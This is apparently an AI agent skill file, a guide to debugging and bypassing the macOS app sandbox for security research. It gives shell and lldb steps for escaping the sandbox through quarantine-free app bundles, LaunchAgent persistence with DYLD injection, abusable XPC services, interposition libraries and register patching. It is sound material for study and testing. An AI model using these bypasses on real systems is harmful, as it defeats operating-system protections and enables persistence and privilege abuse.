macOS Sandbox Debug & Bypass
A comprehensive guide to understanding, debugging, and bypassing macOS sandbox restrictions for security research and penetration testing.
When to Use This Skill
Use this skill when you need to:
- Debug sandboxed macOS applications
- Understand how macOS sandbox loading works
- Bypass sandbox restrictions for security testing
- Enumerate and abuse Mach services
- Work with quarantine attributes
- Use lldb to intercept sandbox initialization
- Create interposition libraries to prevent sandbox activation
Sandbox Loading Process
When an application with the com.apple.security.app-sandbox entitlement runs:
- The compiler links
/usr/lib/libSystem.B.dylibto the binary libSystem.Bcalls functions untilxpc_pipe_routinesends entitlements tosecuritydsecuritydchecks if the process should be quarantined in the Sandbox- The sandbox activates via
__sandbox_mswhich calls__mac_syscall
Bypass Techniques
1. Quarantine Attribute Bypass
Files created by sandboxed processes have a quarantine attribute. If you can create an .app folder without the quarantine attribute, you can escape:
# Create app bundle without quarantine attribute
mkdir -p /tmp/poc.app/Contents/MacOS
echo '#!/bin/bash
touch /tmp/sandbox-escaped' > /tmp/poc.app/Contents/MacOS/poc
chmod +x /tmp/poc.app/Contents/MacOS/poc
# Point main executable to /bin/bash in Info.plist
# Then use 'open' to launch unsandboxed
open /tmp/poc.app
CVE-2023-32364 demonstrated this technique by mounting to create an .app folder without quarantine.
2. LaunchAgent/Daemon Abuse
Sandboxed applications executed from LaunchAgents may bypass restrictions:
# Place in LaunchAgents for persistence
~/Library/LaunchAgents/com.example.malicious.plist
# Can inject via DYLD environment variables
3. Auto Start Locations
Write binaries to locations where unsandboxed applications will execute them:
~/Library/LaunchAgents/System/Library/LaunchDaemons
4. Mach Service Abuse
Sandboxed apps can communicate with certain Mach services via XPC. Check available services:
# Find System and User Mach services
grep -A 5 "<string>System</string>" /System/Library/xpc/launchd.plist
grep -A 5 "<string>User</string>" /System/Library/xpc/launchd.plist
# Find Application Mach services
grep -A 5 "<string>Application</string>" /System/Library/xpc/launchd.plist
# Find XPC service files
find /System/Library/Frameworks -name "*.xpc"
find /System/Library/PrivateFrameworks -name "*.xpc"
Known Abusable Services
storagekitfsrunner.xpc - Executes arbitrary commands:
// See scripts/exploit_storagekitfsrunner.m for full exploit
AudioAnalyticsHelperService.xpc - Creates ZIP files (can bypass quarantine):
// See scripts/exploit_audioanalytics.m for full exploit
ShortcutsFileAccessHelper.xpc - Grants file access permissions:
// See scripts/exploit_shortcuts.m for full exploit
5. Static Compilation Bypass
Since sandbox is applied when libSystem loads, avoid loading it:
- Static compilation: Binary doesn't need dynamic libraries
- No library dependencies: If linker isn't needed, libSystem won't load
6. Interposition Bypass
Interpose key functions to prevent sandbox activation:
Interpose _libsecinit_initializer
# See scripts/create_interpose_libsecinit.sh
Interpose __mac_syscall
# See scripts/create_interpose_mac_syscall.sh
Debugging with LLDB
Setup a Sandboxed Test Application
# Create sand.c
cat > sand.c << 'EOF'
#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}
EOF
# Create entitlements.xml
cat > entitlements.xml << 'EOF'
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>
EOF
# Create Info.plist
cat > Info.plist << 'EOF'
<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>
EOF
# Compile
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand
# Sign with entitlements
codesign -s <cert-name> --entitlements entitlements.xml sand
# Create test file
echo "Sandbox Bypassed" > ~/Desktop/del.txt
LLDB Debugging Workflow
# Start lldb
lldb ./sand
# Set breakpoint on sandbox initialization
(lldb) b xpc_pipe_routine
# Run
(lldb) r
# Check backtrace for libsecinit
(lldb) bt
# Look for: libsystem_secinit.dylib`_libsecinit_appsandbox
# Increase string display limit
(lldb) settings set target.max-string-summary-length 10000
# View XPC message (2nd arg of xpc_pipe_routine)
(lldb) p (char *) xpc_copy_description($x1)
# View response address (3rd arg)
(lldb) register read x2
# Continue to end of function
(lldb) finish
# Read sandbox response
(lldb) memory read -f p <x2_value> -c 1
(lldb) p (char *) xpc_copy_description(<result>)
# Set conditional breakpoint on __mac_syscall
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c
# View policy name
(lldb) memory read -f s $x0
# BYPASS: Skip sandbox activation
(lldb) breakpoint delete 1
(lldb) register write $pc 0x187659928 # b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Scripts
Use the bundled scripts for common tasks:
scripts/create_sandboxed_app.sh- Create a test sandboxed applicationscripts/create_interpose_libsecinit.sh- Create interposition library for _libsecinit_initializerscripts/create_interpose_mac_syscall.sh- Create interposition library for __mac_syscallscripts/enumerate_mach_services.sh- Find available Mach servicesscripts/lldb_sandbox_debug.sh- LLDB debugging workflow
Important Notes
- TCC Still Applies: Even with sandbox bypassed, TCC (Transparency, Consent, and Control) may still prompt for permissions
- Entitlements Matter: Some actions require specific entitlements even if sandbox allows them
- Not Inherited: New processes don't inherit entitlements or privileges from parent
- Shellcodes Need libSystem: Even ARM64 shellcodes must link with libSystem.dylib